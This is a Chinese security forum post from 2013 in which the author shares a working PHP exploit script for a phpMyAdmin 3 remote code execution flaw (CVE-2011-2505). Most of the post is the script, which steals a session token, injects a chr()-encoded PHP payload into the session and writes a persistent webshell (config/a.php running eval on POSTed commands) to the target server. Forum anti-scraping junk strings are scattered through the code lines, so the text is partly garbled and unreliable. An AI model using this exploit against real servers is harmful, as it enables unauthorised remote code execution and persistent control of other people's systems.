找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2094|回复: 0
打印 上一主题 下一主题

phpadmin3 remote code execute php版本exploit

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-21 09:13:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
最近在家做专职奶爸,不谙圈内事很多months了,博客也无更新。
; M/ w8 a+ B( _6 i& P- @4 [& ~* u5 H6 [- G4 g& ]3 }' t7 q6 h
昨夜带孩子整夜未眠,看到黑哥在php security群里关于phpmyadmin3漏洞的讨论,虽然之前没看过漏洞代码,不过前段时间还是在微博上看到wofeiwo的exp了,不过据黑哥说有不鸡肋的利用方法,于是夜里翻代码出来研究了翻,写出了这个冷饭exp,由于我搞的晚了,之前已经很多人研究了写exp了,于是我这个属于炒冷饭,权当研究研究打发时间了。* G/ r9 R0 r! z4 r2 |- h3 U

$ o1 O3 `' A6 J( L. f首先赞下wofeiwo的python版本的exp,再赞下wofeiwo跟superhei的钻研精神,学习的榜样啊。不过之前那个exp利用起来是有一些限制的:
6 E7 |0 ^7 Y8 m/ @4 {一是session.auto_start = 1;
2 \! I, y% |, N& K二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。% J# s# G9 @1 H- u6 }
当然还有第三点大家都不可以逾越的鸿沟:config目录存在且可写。
, p! x4 v' P1 c3 c4 {/ h( d' z3 V2 d6 z8 L" j) b
在群里看了黑哥的发言后,再看了下代码,发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。
5 o9 s1 @/ q8 |! v" g
6 q& v' n  r4 O6 e# g+ @/ m6 g于是写了这个php版本的exp,代码如下:
+ t+ W+ p+ S7 q1 Q# \% v8 J) ~! p/ y# e2 \( b, j# j7 g
#!/usr/bin/php
# d/ ~! p' K6 |: s9 o<?php; b2 L1 L: b1 ~% C1 j# T+ P2 Y
print_r('
8 }9 l7 g0 y* h9 a+ i, T+---------------------------------------------------------------------------+  V% g& ~% m  x7 a! l
pma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]
: O4 ~' b! U0 eby oldjun(www.oldjun.com)3 x& i* Q" S4 _1 T) A
welcome to www.t00ls.net; C& I' B! O7 w" |( h3 f
mail: oldjun@gmail.com/ d7 |* y) c: @
Assigned CVE id: CVE-2011-2505
8 u; J1 }1 V0 K! m4 a2 g0 Y% h6 S+---------------------------------------------------------------------------+
" a4 V% ]) @8 j');
: H. @. C" R6 G  P' P5 v4 b
9 K; f; W. r, k9 D/**4 n- u: ~6 y# l; j
* working when the directory:"config" exists and is writeable.
# T9 ~* O  `* g**/' O  z9 j' d7 K0 h: K$ i
/ g0 M7 v. |' \; s
if ($argc < 3) {
+ K6 K+ w8 n9 g, x( T+ d9 D: f    print_r('
! x7 B. r8 e2 p- i  ~6 R, c+---------------------------------------------------------------------------+/ J) M0 J7 ^% x$ P" R  Y
Usage: php '.$argv[0].' host path& W3 c2 f6 t/ i% N& g$ b4 C
host:      target server (ip/hostname)/ P& I% b* A/ Z' v' o
path:      path to pma3
+ Q! f6 `1 X) VExample:
: i7 s* C. J+ N6 i: {php '.$argv[0].' localhost /pma/4 u5 C2 Y! {0 t* S. r
+---------------------------------------------------------------------------+# o7 V" S( n4 f5 w! C6 q5 r
');
+ v  F8 D/ ]: }( ^9 S    exit;* R9 W) E" L2 L2 l
}( V, D! u5 v! y" ~2 L" w5 T' J$ {

/ M$ y! L2 z' s; _$host = $argv[1];
2 l3 Q' x/ H' ?: B* @$path = $argv[2];- t4 D/ y0 Q# d

) M- U6 ]. i+ b  ^- {5 e, e7 O/**" C( K; o/ Y% Z6 o
* Try to determine if the directory:"config" exists
& o4 y0 C& n7 ~+ \# w% y! d**/
2 o) Z7 ]: b6 F4 S" ~' T3 I2 _echo "[+] Try to determine if the directory:config exists....\n";5 T6 {" {8 l5 o% m9 R) {% h/ Q% G
$returnstr=php_request('config/');5 x6 D& v8 p" |* U$ P- A2 {6 m
if(strpos($returnstr,'404')){
0 l- ~0 a* c( u/ C7 A  t- w$ b    exit("[-] Exploit Failed! The directory:config do not exists!\n");: [+ r* \4 K% A! j% t, x9 h
}
. f) l, }. q7 F4 C1 m) c1 m0 u% l5 e" J. D
/**' L9 v- A. ]* p
* Try to get token and sessionid$ E$ P8 I. G6 r% w5 r/ I  I
**/5 B6 i4 N! r, y3 ?" n
echo "[+] Try to get token and sessionid....\n";
% U: [/ O$ X. m5 a$ O$result=php_request('index.php');
0 r! f! k* r+ g' |preg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);
, r, t7 x. H5 R1 D6 E! w& z$token=$resp[3];
( u2 I& ]! \3 _6 r$sessionid=$resp[1];
9 S8 z( N& J8 F2 v) _, i# }) bif($token && $sessionid){* D; y3 ^+ D, H$ L6 ?8 G( R3 q& `! R& s
    echo "[+] tokentoken\n";' D0 r& {, [6 M, R5 P) ^. a
    echo "[+] Session IDsessionid\n";$ R2 e+ i# ]( M  ~
}else{
6 a1 w/ {) u/ ]* d# X6 M5 P  [    exit("[-] Can't get token and Session ID,Exploit Failed!\n");
& m& v) O/ n  @! `+ Y3 Z( S}  p, e" ~' w3 T, O0 ^

- y' p2 \# _6 R$ N- E/**
# d& R8 E+ I4 B0 K# e! y& Q  b0 p5 B * Try to insert shell into session
. u" x( H7 C0 I" k! V$ ~  D+ z**/! e# E( @+ P6 e2 _
echo "[+] Try to insert shell into session....\n";* z4 F9 G: W& e$ d
php_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.. P0 s$ }- V' G3 Z; f& w1 O0 a  h. d

) `1 y- A* A6 h! N6 n* E/**
+ x, }6 A% Z1 c8 \0 _, @$ L4 b * Try to create webshell
# H) o* _( ]/ r0 C**/* A$ I, `+ t. f9 s8 }: t
echo "[+] Try to create webshell....\n";2 Q: V, f9 X5 q9 _
php_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);
& l; J3 G8 B" G9 d2 z  {& }6 w/**7 j8 m4 a$ Q) U8 D6 g. P* y
* Try to check if the webshell was created successfully
: }4 M1 }4 w8 C; A  e, r**/
# h9 o! e- A& b0 g6 v# {: p9 Y( ?echo "[+] Try to check if the webshell was created successfully....\n";: s. ?; y3 _5 j
$content=php_request('config/config.inc.php');
4 U. H9 ?+ ^' s, kif(strpos($content,'t00ls')){
# {8 t& l# D" t, _" k( `. Z    echo "[+] Congratulations! Expoilt successfully....\n";+ [! {) j5 \4 |+ D3 K7 [
    echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";+ B* v* M: I/ P5 ?
}else{) B0 U! \8 A7 P
    exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");+ l+ V! v$ p- k9 k# j( d5 Z! P
}
& t% w/ I; [  q! p. w- a: D" N1 f- Y6 @; L
function php_request($url,$data='',$cookie=''){
9 g* Y9 ^* _0 }$ E    global  $host, $path;
/ u% `3 q8 x5 E( L   
5 ^) I1 S$ c% f* A    $method=$data?'POST':'GET';7 x1 M4 E- v# ~. U6 I
      P6 F; k# @+ n4 k/ t
    $packet = $method." ".$path.$url." HTTP/1.1\r\n";
9 f) [  t/ a* W( K6 L& V    $packet .= "Accept: */*\r\n";: t9 _3 s- B. y0 n+ D
    $packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
9 U6 m' z/ V6 D6 \& ]    $packet .= "Host: $host\r\n";+ L; S% u6 y! p
    $packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";
% a0 M# G$ ^# n( R; x  {5 o    $packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";* N) b* C3 \# x, E  V# W
    $packet .= $cookie?"Cookie: $cookie\r\n":"";: {% B3 F9 C. o2 c* ]. h0 Y
    $packet .= "Connection: Close\r\n\r\n";$ z9 T2 u7 l2 O. u% n3 Z
    $packet .= $data?$data:"";3 B& s  P/ w6 U

' _  @! w' m- b    $fp = fsockopen(gethostbyname($host), 80);( O, p0 x- r" @' |9 N
    if (!$fp) {7 X6 K( s0 _; m( ^% p
    echo 'No response from '.$host; die;$ g% ^# X" S" U8 J, F+ i4 G' E' [
    }
% w% V, u/ R; a2 Z% _6 ~    fputs($fp, $packet);
' D- ~5 |; S5 h9 a' j$ ], }
- a& V' d4 L3 ?) I+ V    $resp = '';. q: G# j8 Q0 Z1 ?  l
) Y) Z- `; v8 E3 s8 T! M! Q
    while ($fp && !feof($fp))
# A5 H! i6 U, V- Q6 V# r        $resp .= fread($fp, 1024);
8 M0 u% ^2 c. ?- ~" o) x' C
/ a5 H% @* D! S5 ?4 V7 i    return $resp;! M( U; Y! q; g! a# f
}, @% U% A& R, R+ v" N
   
+ l0 L, t% ~4 U?> ' z" O" m- w2 z7 L( F
.
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表